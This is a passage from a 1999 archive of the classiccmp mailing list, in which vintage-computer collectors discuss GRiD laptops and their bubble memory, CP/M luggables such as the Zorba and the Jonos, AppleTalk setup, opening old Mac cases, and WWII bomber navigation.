the bubble memory and the magnesium case, btw, the Compass was the first of the clamshell style computers. Beat the Gavilan by half a year at least. (And no, the Gavilan wasn't the second clamshell either.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ ------ Message Header Follows ------ Received: from lists3.u.washington.edu by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan19.175615.1767.93725; Tue, 19 Jan 1999 17:56:16 -0500 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA16070; Tue, 19 Jan 1999 14:52:46 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA2 4602 for ; Tue, 19 Jan 1999 14:52:40 -0800 Received: from uxl.longs.com (uxl.longs.com [199.108.9.10]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA31 551 for ; Tue, 19 Jan 1999 14:52:39 -0800 (PST) Received: from sinasohn ([10.24.180.117]) by axh.longs.com (Netscape Messaging Server 3.6) with SMTP id AAAFFA4 for ; Tue, 19 Jan 1999 14:50:14 -0800 Message-Id: <3.0.16.19990119145248.2a7f1538@ricochet.net> Date: Tue, 19 Jan 1999 14:53:14 -0800 Reply-To: classiccmp@u.washington.edu Sender: CLASSICCMP-owner@u.washington.edu Precedence: bulk From: Uncle Roger To: "Discussion re-collecting of classic computers" Subject: Re: GRID LAPTOP Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: sinasohn@ricochet.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From doug at blinkenlights.com Tue Jan 19 17:05:44 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP In-Reply-To: <3.0.16.19990119145248.2a7f1538@ricochet.net> Message-ID: On Tue, 19 Jan 1999, Uncle Roger wrote: > The one that was used on the shuttle (I don't think the shuttle ever landed > on the moon?) was (iirc) the GRiDPad 19xx, see my other message about those. No, the shuttle never landed on the moon. (At least not that THEY've told us about :-) Various shuttle missions have used the Compass, the 1910, and the 1530. In fact, NASA orignally funded GRiD to build the Compass just for this purpose, AFAIK. GRiD stood for Graphical Retreival Information Display or somesuch terribly strained acronym. -- Doug From doug at blinkenlights.com Tue Jan 19 17:10:03 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP In-Reply-To: <01be4417$98368900$508ea6d1@the-general> Message-ID: On Tue, 19 Jan 1999, Jason Willgruber wrote: > I remember once seeing a GRiD 386 laptop that looked _exactly_ like a Tandy > 3800, but was made of the aluminum alloy, was white, and said on the top > case that it was Panasonic (I think. The top cover was labeled with > something other than GRiD or Tandy). The bottom label said "manufactured > for {Company X} by GRiD". > > Anyone ever hear of something like this? I was going to pick one up, but > they wanted $300 for one. Pass! Those are not TRuE GRiDs! And they have plastic cases, AFAIK. Some later GRiD-labeled products were not made by GRiD, including the one you've mentioned. Others include the 2390 (designed by GRiD, made by Casio), and the 2050 (made by Samsung, I think). -- Doug From dastar at ncal.verio.com Tue Jan 19 17:29:48 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:18 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901192256.OAA13056@oa.ptloma.edu> Message-ID: On Tue, 19 Jan 1999, Cameron Kaiser wrote: > Okay, I'll bite: what's a Zorba? Early 80s CP/M portable. Basically a clone of the Osborne 1 with a larger screen. It had the same flimsy plastic case but brown colored. Nothing special really. Perhaps just unusual and (dare I say) rare. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From tim at thereviewguide.com Tue Jan 19 18:33:08 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:40:18 2005 Subject: Infocom InvisiClues In-Reply-To: <3.0.1.32.19990119141035.00963100@mail.30below.com> References: <199901191848.KAA09632@oa.ptloma.edu> Message-ID: <199901192331.PAA29996@geocities.com> IIRC, you can put these things under an ultraviolet light and read them perfectly, *WITHOUT* permanently filling in any of the answers. But I'm not sure... Tim > >Well, I landed a cache of old games (including Zork II for the DEC Rainbow > >but the disk appears to be missing). One of them is Witness for DOS 2.0, and > >it even has the InvisiClues book -- but I don't have the marker! Does anyone > >have a spare InvisiClues marker somewhere they're not using or one they might > >be {willing, persuaded} to part with? > > Is there any "Fudgie Shops" - erm, sorry; local term -- tourist shops in > your area that would handle the "Yes and Know" series of books? They're > still being produced - I seem them all the time in touristy areas 'round > here (but remember, I work in the 3rd oldest city in the USA - Other than > snow, all we _have_ are tourists... ;-/ > > IIRC, those books took the same type of marker. Of course, the price of the > book & shipping then make it kinda outrageous for just a pen... > > On the investor side of things, wouldn't the book be worth more untouched? > Or have some clues been revealed already? > > HTH, > Roger "Merch" Merchberger > -- > Roger "Merch" Merchberger --- sysadmin, Iceberg Computers > Recycling is good, right??? Ok, so I'll recycle an old .sig. > > If at first you don't succeed, nuclear warhead > disarmament should *not* be your first career choice. > ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From roblwill at usaor.net Tue Jan 19 20:32:37 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP Message-ID: <01be441d$249f1ba0$508ea6d1@the-general> It was definitely aluminum. The paint was chipping off in a few places, and it definitely weighed a good pound or more than my Tandy 1800. Could it have been a model that GRiD made for another company (as the label on the bottom stated)? -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Doug To: Discussion re-collecting of classic computers Date: Tuesday, January 19, 1999 3:14 PM Subject: Re: Re[2]: GRID LAPTOP >Pass! Those are not TRuE GRiDs! And they have plastic cases, AFAIK. >Some later GRiD-labeled products were not made by GRiD, including the one >you've mentioned. Others include the 2390 (designed by GRiD, made by >Casio), and the 2050 (made by Samsung, I think). > >-- Doug > > From donm at cts.com Tue Jan 19 17:41:19 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:18 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: <3.0.1.16.19990119082949.2f0fa9de@intellistar.net> Message-ID: On Tue, 19 Jan 1999, Joe wrote: > At 08:42 PM 1/18/99 -0800, don wrote: > >Well, except perhaps for the concrete replica in the Columbia River Valley. > > > Geez, are you that lost Don? Sometimes I wonder, Joe :} - don From eric at brouhaha.com Tue Jan 19 17:45:59 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP In-Reply-To: <3.0.16.19990119145248.2a7f1538@ricochet.net> (message from Uncle Roger on Tue, 19 Jan 1999 14:53:14 -0800) References: <3.0.16.19990119145248.2a7f1538@ricochet.net> Message-ID: <19990119234559.12848.qmail@brouhaha.com> Uncle Roger wrote: > If it really uses Bubble Memory, it's > probably a Compass (model 11xx). Who's bubble memory did it use (Intel, TI, Rockwell, other)? How much did it have? Was the bubble memory in a user-swappable cartridge? From donm at cts.com Tue Jan 19 17:48:16 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:18 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: Message-ID: On Tue, 19 Jan 1999, Tony Duell wrote: > > > > A recent program on Stonehenge on the Discovery channel said the RAF wanted to > > level Stonehenge with explosives, but the person who owned the land they were > > on refused to let them. *boggle* Is it just me, or does all this suggest > > that in the 1930s and early 40s good maps were much harder to come by than > > A lot of it was propaganda to the British public to convince them how > important the war was.... > > Of course there were maps. Ordnance Survey maps were originally produced > for military use (hence the name), but nowadays are available just about > anywhere in the UK (most bookshops keep at least the local ones). During > the war they were probably impossible to obtain, but before the war, trivial. > > And you can bet they had got them in Germany as well. After all, the > British certainly had German maps. > > The other thing that worries me is that Stonehenge is not the best > landmark in that area. Salisbury Cathedral's spire is probably a lot > easier to see from a distance. Indeed it is, Tony, but spires are rather commonplace in England - although at 400 odd feet, it is rather more obvious than others - and Stonehenge is just a bit unique. - don From doug at blinkenlights.com Tue Jan 19 17:50:10 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP In-Reply-To: <01be441d$249f1ba0$508ea6d1@the-general> Message-ID: On Tue, 19 Jan 1999, Jason Willgruber wrote: > It was definitely aluminum. The paint was chipping off in a few places, and > it definitely weighed a good pound or more than my Tandy 1800. Could it > have been a model that GRiD made for another company (as the label on the > bottom stated)? Anything's possible, but I've only seen the opposite: "made for GRiD by X". Tandy acquired GRiD in 1988, so machines made since that time have been unpure bastards for the most part, and the brand got a bit diluted. I think GRiD operated pretty indepently for a few years after the acquisition, so they were able to pull off a few cool machines like the GRiDPads and the Convertibles (which later had an AST label when AST bought Tandy's computer division). -- Doug From doug at blinkenlights.com Tue Jan 19 17:52:08 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP In-Reply-To: <19990119234559.12848.qmail@brouhaha.com> Message-ID: On 19 Jan 1999, Eric Smith wrote: > Who's bubble memory did it use (Intel, TI, Rockwell, other)? How much > did it have? Was the bubble memory in a user-swappable cartridge? It used Intel's. It was attached to the mobo, but not soldered -- you can unscrew them and replace them fairly easily. Sizes varied. 128K to 384K, I think. -- Doug From allisonp at world.std.com Tue Jan 19 18:02:43 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:19 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) Message-ID: <199901200002.AA12357@world.std.com> < I nominate the Sanyo 550 series computers as THE worst computer ever sol Message-ID: <36A51F23.D6D22842@rain.org> Uncle Roger wrote: > > I think other people's reasoning is that a lot more people know about the > O1 than the Kaypro, so that gets more interest/higher perceived value. > Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've > heard about sold for over $100. Hmmm, was kind of curious what that manual I have goes to :). Was the Zorba related to the Molecular? The Zorba manual came with the stuff I got with the Molecular. From george at racsys.rt.rain.com Tue Jan 19 18:31:06 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:40:19 2005 Subject: Bubble memory In-Reply-To: Message-ID: Speaking of Bubble memory has anyone ever run across an Apple ][ bubble memory card? George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Tue, 19 Jan 1999, Doug wrote: > On 19 Jan 1999, Eric Smith wrote: > > > Who's bubble memory did it use (Intel, TI, Rockwell, other)? How much > > did it have? Was the bubble memory in a user-swappable cartridge? > > It used Intel's. It was attached to the mobo, but not soldered -- you can > unscrew them and replace them fairly easily. Sizes varied. 128K to 384K, > I think. > > -- Doug > > From donm at cts.com Tue Jan 19 18:15:31 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:19 2005 Subject: Help on Atari Portfolio In-Reply-To: <4.1.19990119105652.00af75f0@206.231.8.2> Message-ID: The following entreaty came to me for assistance that I am unable to offer. If you can help this chap, please respond directly to him! Thanks! - don From lrahier at qualcomm.com Tue Jan 19 09:38:24 1999 From: lrahier at qualcomm.com (Lonny Rahier) Date: Sun Feb 27 18:40:19 2005 Subject: Atari Portfolio Message-ID: Hi, I got this e-mail address off an Atari Portfolio web site. It didn't really say much about Dinosaur SIG or what it is, but I thought I'd see if this address was still valid and if you have any idea where to get memory cards for an old Atari Portfolio. Thanks, Lonny (619)651-0382 From doug at blinkenlights.com Tue Jan 19 18:21:51 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <36A51F23.D6D22842@rain.org> Message-ID: On Tue, 19 Jan 1999, Marvin wrote: > Hmmm, was kind of curious what that manual I have goes to :). Was the Zorba > related to the Molecular? The Zorba manual came with the stuff I got with > the Molecular. I think the name of the company that made the Zorba was Gemini. Either that or Gemini was the model name, and Zorba was the sub-model name, in which case I don't remember the company name. I try to steer clear of luggables, but the Zorba is one of the few I kept since it's so RARE (L@@K!). Do you want to dump the manual? -- Doug From pechter at monmouth.com Tue Jan 19 18:39:47 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: from Doug at "Jan 19, 99 07:21:51 pm" Message-ID: <199901200039.TAA02818@pechter.nws.net> > On Tue, 19 Jan 1999, Marvin wrote: > > > Hmmm, was kind of curious what that manual I have goes to :). Was the Zorba > > related to the Molecular? The Zorba manual came with the stuff I got with > > the Molecular. > > I think the name of the company that made the Zorba was Gemini. Either > that or Gemini was the model name, and Zorba was the sub-model name, in > which case I don't remember the company name. I try to steer clear of > luggables, but the Zorba is one of the few I kept since it's so RARE > (L@@K!). > > Do you want to dump the manual? > > -- Doug > I've got a couple of Zorba's... One working, one a parts machine. The Zorba was slick for its day. The screen was readable. It could read/write a lot of different formats. Unfortunately I was ripped off on a sale of Compat (disk emulation) for my Zorba and don't have the code or money from that sale. My first bad net experience 10 years before EBAY! Bill From brett at xnet.com Tue Jan 19 18:43:30 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:19 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Tue, 19 Jan 1999 Mzthompson@aol.com wrote: > > Aren't zebras bar-coded ponys? > > Not even signing my name! > > My wife wants to know then what skunks are. They are RLL ;-) BC From pechter at monmouth.com Tue Jan 19 18:44:39 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901192256.OAA13056@oa.ptloma.edu> from Cameron Kaiser at "Jan 19, 99 02:56:39 pm" Message-ID: <199901200044.TAA02890@pechter.nws.net> > ::Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've > ::heard about sold for over $100. > > Okay, I'll bite: what's a Zorba? OK... it's a slick Z80 box (basically similar to a Kapro). It could read and write a number of disk formats and could run software written for a lot of machines, since it was memory mapped video and H19/Z19/VT52 compatible video you could actually hack it to do Kaypro video instead with a few changes. It was first made by Telcon, which made data test equipment. Telcon got in over their heads and needed bigger $$$ to continue. They were bought out by Modcomp (Modular Computers) who made mini's. They created a Modular Micros group. They eventually were sold to a suplus house called Gemini which sold off the remaining Zorba's in a fire sale cheap. I paid about $1k for mine. I still love it and have a lot of the user group (Zeus) software and newsletters on 80 trk DSQD floppies (my Zorba had the NOMIS 96tpi drives). Bill From donm at cts.com Tue Jan 19 18:46:53 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901192256.OAA13056@oa.ptloma.edu> Message-ID: On Tue, 19 Jan 1999, Cameron Kaiser wrote: > ::Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've > ::heard about sold for over $100. > > Okay, I'll bite: what's a Zorba? It is a CP/M luggable that is somewhat similar to the Kaypro, Vixen, Jonos, Osborne (but has bigger screen), and others that I have overlooked. - don > -------------------------- personal page: http://calvin.ptloma.edu/~spectre/ -- > Cameron Kaiser Information Technology Services Database Programmer > Point Loma Nazarene University Fax: +1 619 849 2581 > ckaiser@ptloma.edu Phone: +1 619 849 2539 > -- The early bird may get the worm, but the second mouse gets the cheese. ----- > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From pechter at monmouth.com Tue Jan 19 18:46:08 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <3.0.16.19990119130108.64ef9a72@ricochet.net> from Uncle Roger at "Jan 19, 99 02:38:23 pm" Message-ID: <199901200046.TAA02929@pechter.nws.net> > > I think other people's reasoning is that a lot more people know about the > O1 than the Kaypro, so that gets more interest/higher perceived value. > Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've > heard about sold for over $100. > Because the Zorba's are slick little CP/M machines? --Bill (a Zorba fan and owner) --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From doug at blinkenlights.com Tue Jan 19 18:53:42 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: Message-ID: On Tue, 19 Jan 1999, Don Maslin wrote: > > Okay, I'll bite: what's a Zorba? > > It is a CP/M luggable that is somewhat similar to the Kaypro, Vixen, Jonos, > Osborne (but has bigger screen), and others that I have overlooked. OK, I'll bite too: what's a Jonos? -- Doug From donm at cts.com Tue Jan 19 19:00:25 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: Message-ID: On Tue, 19 Jan 1999, Doug wrote: > On Tue, 19 Jan 1999, Don Maslin wrote: > > > > Okay, I'll bite: what's a Zorba? > > > > It is a CP/M luggable that is somewhat similar to the Kaypro, Vixen, Jonos, > > Osborne (but has bigger screen), and others that I have overlooked. > > OK, I'll bite too: what's a Jonos? > > -- Doug Again, a CP/M luggable, but based on the STD bus and using 3.5" Sony SSDD floppy drives. - don From donm at cts.com Tue Jan 19 19:13:18 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:19 2005 Subject: Ebay: Kaypro Robbie In-Reply-To: <36A4EA1A.CAC931FD@rain.org> Message-ID: On Tue, 19 Jan 1999, Marvin wrote: > I saw this and thought others on the list might be interested. This machine > was discussed a while back, but I don't recall if it was on this list or > with some other person. IIRC, the disks are special and come pre-formatted > in a way that is not easy to duplicate. A friend of mine has one along with > disks and software, and I *think* the manual. If anyone has successfully > formatted disks for use with the Robbie, I would be most interested in > finding out how! I doubt that it is feasible without specialized and expensive equipment. The disks are 192tpi and contain a prerecorded servo track to permit tracking that density. The Drivetec (later Kodak/Verbatim) drives carried two motors for head positioning. A normal stepper for rough positioning, and a servo motor for 'vernier' positioning. The latter tended to be rather busy when reading! Kaypro got about 2.3mb, IIRC, out of them. Kodak in later development doubled that and then doubled it again. However, they were never really a significant piece of the removable storage market. One problem, with the Kaypro units anyway, was that disk destruction was quite common. They could wipe out a directory before you knew you were in trouble. - don From manney at hmcltd.net Tue Jan 19 19:13:56 1999 From: manney at hmcltd.net (PG Manney) Date: Sun Feb 27 18:40:19 2005 Subject: Software available Message-ID: <01be4412$4c6462e0$da1f85cd@toshiba-115cs> Available -- FolderBolt (Kent Marsh, Ltd) Shrink Wrapped Blue Max (Qualitas) for 386, PS/2 and Win 3.0 LapTrack (Timeslips Corp), includes Timeslips III (Sticker on the front saying "System 7 Compatible". Shrink Wrapped. As usual, make an offer...eBay prices most welcome. manney@hmcltd.net From marvin at rain.org Tue Jan 19 19:18:07 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes References: Message-ID: <36A52ECF.BDFE7708@rain.org> Doug wrote: > > I think the name of the company that made the Zorba was Gemini. Either > that or Gemini was the model name, and Zorba was the sub-model name, in > which case I don't remember the company name. I try to steer clear of > luggables, but the Zorba is one of the few I kept since it's so RARE > (L@@K!). > > Do you want to dump the manual? No, but I can make a copy if you need it. It is VERY rare when I sell/trade/give/dispose of original documentation; copies are something altogether different though. From rcini at msn.com Tue Jan 19 19:06:26 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:40:19 2005 Subject: Setting-up AppleTalk? Message-ID: <009701be4413$3f466d00$e0e5fea9@mainoffice> Hello, all: I'd like to try to get my Mac 512k, Apple //gs, and IW-II talking together. I have all of the LocalTalk (PhoneNet style) hardware connected to the respective units. However, this is the first time that I'm attempting any form of networking on my Apples, so I really don't know where I'm going. I know that you have to identify one of the serial ports as LocalTalk. I've done this in the //gs Control Panel, and I think that I've done this on the Fat Mac, but what am I supposed to see? How do I know that it works? Thanks again. [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From marvin at rain.org Tue Jan 19 19:22:11 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes References: Message-ID: <36A52FC3.C4090534@rain.org> Doug wrote: > > On Tue, 19 Jan 1999, Don Maslin wrote: > > > > Okay, I'll bite: what's a Zorba? > > > > It is a CP/M luggable that is somewhat similar to the Kaypro, Vixen, Jonos, > > Osborne (but has bigger screen), and others that I have overlooked. > > OK, I'll bite too: what's a Jonos? A cute little box luggable with a built in screen and detachable keyboard ala Kaypro although a bit smaller. BTW, anyone know of the top of their heads if Jonos disks are readable on a PC (with 22disk or similar)? I have the disks for the unit and I am getting a stronger and stronger urge to get some of this stuff backed up onto a media where I can recreate the original disks as necessary! From cisin at xenosoft.com Tue Jan 19 19:45:21 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <36A52FC3.C4090534@rain.org> Message-ID: On Tue, 19 Jan 1999, Marvin wrote: > > OK, I'll bite too: what's a Jonos? > A cute little box luggable with a built in screen and detachable keyboard > ala Kaypro although a bit smaller. BTW, anyone know of the top of their > heads if Jonos disks are readable on a PC (with 22disk or similar)? I have > the disks for the unit and I am getting a stronger and stronger urge to get > some of this stuff backed up onto a media where I can recreate the original > disks as necessary! I can't speak for 22disk, but it is certainly a format that is physically possible. (XenoCopy-PC supports Jonos format) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From donm at cts.com Tue Jan 19 19:52:44 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:19 2005 Subject: Kaypros and Osbornes In-Reply-To: <36A52FC3.C4090534@rain.org> Message-ID: On Tue, 19 Jan 1999, Marvin wrote: > Doug wrote: > > > > On Tue, 19 Jan 1999, Don Maslin wrote: > > > > > > Okay, I'll bite: what's a Zorba? > > > > > > It is a CP/M luggable that is somewhat similar to the Kaypro, Vixen, Jonos, > > > Osborne (but has bigger screen), and others that I have overlooked. > > > > OK, I'll bite too: what's a Jonos? > > A cute little box luggable with a built in screen and detachable keyboard > ala Kaypro although a bit smaller. BTW, anyone know of the top of their > heads if Jonos disks are readable on a PC (with 22disk or similar)? I have > the disks for the unit and I am getting a stronger and stronger urge to get > some of this stuff backed up onto a media where I can recreate the original > disks as necessary! Sure! Use this disk definition. - don BEGIN JON1 Jonos - SSDD 3.5" - 512 x 9 DENSITY MFM ,LOW CYLINDERS 70 SIDES 1 SECTORS 9,512 SIDE1 0 1,2,3,4,5,6,7,8,9 BSH 4 BLM 15 EXM 1 DSM 152 DRM 63 AL0 080H AL1 0 OFS 2 END From kurtkilg at geocities.com Mon Jan 18 19:54:53 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:19 2005 Subject: Multiuser computing invented! Message-ID: Thought you folks might get a kick out of this ad in the new PC World: "This revolutionary new technology allows you to add a 2nd PC for only $149 to your existing Win95/98 PC (100 KHz (sic) or faster). With our _Buddy System_ - internal card installed in the main PC, up to 50 feet of cable and a little connector box, you can hook up a monitor, keyboard, mouse and create a new, completely independent PC. Consider this: Both PC's can concurrently run any software you have on the main PC..." Hehe...Made by Vega Technologies. Just call 1-888-654-5415 or visit www.vegatechnologies.com From lemay at cs.umn.edu Tue Jan 19 20:02:31 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool Message-ID: <199901200202.UAA14710@thufir.cs.umn.edu> Does anyone know where I can get the tool you need to use to crack open teh case of an old MacIntosh? I seem to recall that in addition to special torx tools, probably one with an extra long shaft, that you needed something to pop the case open... I'd like to upgrade the tiny hard drive in a mac se, and maybe in a mac plus 1 Meg, to use a 250 meg scsi drive. Any idea if these units will run system 7? -Lawrence LeMay From healyzh at aracnet.com Tue Jan 19 20:12:16 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:19 2005 Subject: Setting-up AppleTalk? In-Reply-To: <009701be4413$3f466d00$e0e5fea9@mainoffice> Message-ID: > I'd like to try to get my Mac 512k, Apple //gs, and IW-II talking >together. I have all of the LocalTalk (PhoneNet style) hardware connected to >the respective units. However, this is the first time that I'm attempting >any form of networking on my Apples, so I really don't know where I'm going. You have terminators in place on each end of the line, correct? > I know that you have to identify one of the serial ports as LocalTalk. >I've done this in the //gs Control Panel, and I think that I've done this on >the Fat Mac, but what am I supposed to see? How do I know that it works? Hmmm, what version of MacOS is the Mac running, and I think you need to specify the printer is a localtalk printer. I run Appletalk, but it's over ethernet, and the even my HP 5MP printer is attached to the Ethernet by a Ethernet-to-Localtalk box, so I've not really had any problem. Are you just trying to print, or are you trying to share drives? I've never networked either of my Apple //gs's, so not sure what the capabilities are. If you're trying to share drives, you need to share a folder or a drive on the Mac. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From joe at barrera.org Tue Jan 19 20:15:57 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:19 2005 Subject: IMSAI/586 [ Re: Multiuser computing invented! ] Message-ID: <03ba01be441a$d18ed5b0$11d53d9d@JOEBAR> >$149 to your existing Win95/98 PC (100 KHz (sic) or faster). At 100 KHz, I think you're better off spending the $149 upgrading to a 1Mhz 8080... :-) Seriously, how slow can you clock a Pentium and still have it run? More generally, can you build an IMSAI style box (with more LEDs :-) around a Pentium and be able to single step the processor? - Joe From healyzh at aracnet.com Tue Jan 19 20:28:04 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:19 2005 Subject: mac tool In-Reply-To: <199901200202.UAA14710@thufir.cs.umn.edu> Message-ID: >Does anyone know where I can get the tool you need to use to crack open >teh case of an old MacIntosh? I seem to recall that in addition to >special torx tools, probably one with an extra long shaft, that you needed >something to pop the case open... You need a T-10 Torx wrench with a long handle. I found one at Sears. As for cracking it open, I'm using a welding clamp (don't laugh), I put the tip into the crack and then open the clamp up, cracks them right open (once all the screws have been removed). >I'd like to upgrade the tiny hard drive in a mac se, and maybe in a mac plus >1 Meg, to use a 250 meg scsi drive. Let me get this right, you want to put an internal HD in a Mac Plus?!?! Somehow I really don't think that's possible. They're ment to use an external drive. >Any idea if these units will run system 7? But of course, they'll run up to about 7.5.3 I think, don't remember the exact point support was dropped for the 68000 processor, might have been as late as 7.6. Be aware you don't really want to run any higher than 7.1 because of the RAM requirements. In fact my SE/30 has 17Mb of RAM, but is only running System 7.1 to keep it from being to bloated. With the proper software either the Mac Plus or Mac SE will blow away any modern Windows 95 machine for ease of use and speed! Although it won't run much in the way of Internet software, it will run some of the older stuff. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From gregorym at cadvision.com Tue Jan 19 20:45:48 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:40:19 2005 Subject: OT: Bomber navigation [WAS: Long term data storage (was: Disasters and Recovery] Message-ID: <3.0.32.19990119194546.00720b78@cadvision.com> At 09:46 PM 1/18/99 -0500, you wrote: > >On-board instrumentation on German aircraft was not that good (as it was >also not that good on English or American planes early in the War) during >the Blitzkrieg. Landmarks were often crucial. Stonehenge _may_ have been >a landmark, but there weren't that many targets (none that I can think of) >beyond it for bombing raids from the usual directions -- at most, it would >have clued the navigator to tell the pilot to turn around. > >Stonehenge was definitely neither bulldozed nor bombed. It would show, and >too many people have examined it since then. (And a number of groups held >ceremonies there during the war, not always with the permission of the >government despite the fact that they were on the same side). > >-- >Ward Griffiths > >WARNING: The Attorney General has determined that Alcohol, Tobacco, >and Firearms can be hazardous to your health -- and get away with it. > On the contrary, German aircraft during the Blitz used two fairly sophisticated systems of radio navigation called Knickebein and X-Geraet. The former used overlapping Lorenz beams to guide bombers along the flightpath to their targets, using super-sensitive versions of their blind-landing receivers. The latter used radio beams that intersected over the target; one beam provided flightpath direction, the second announced when the target was reached. The British expended a lot of time and energy locating and jamming the signals, and later copied the system when Bomber Command went on the offensive (called Oboe, I think). My apologies if the details above are inaccurate; it's been a long time since I read R.V. Jones' Most Secret War (great book, BTW). Mark Gregory. From joebar at microsoft.com Tue Jan 19 20:33:39 1999 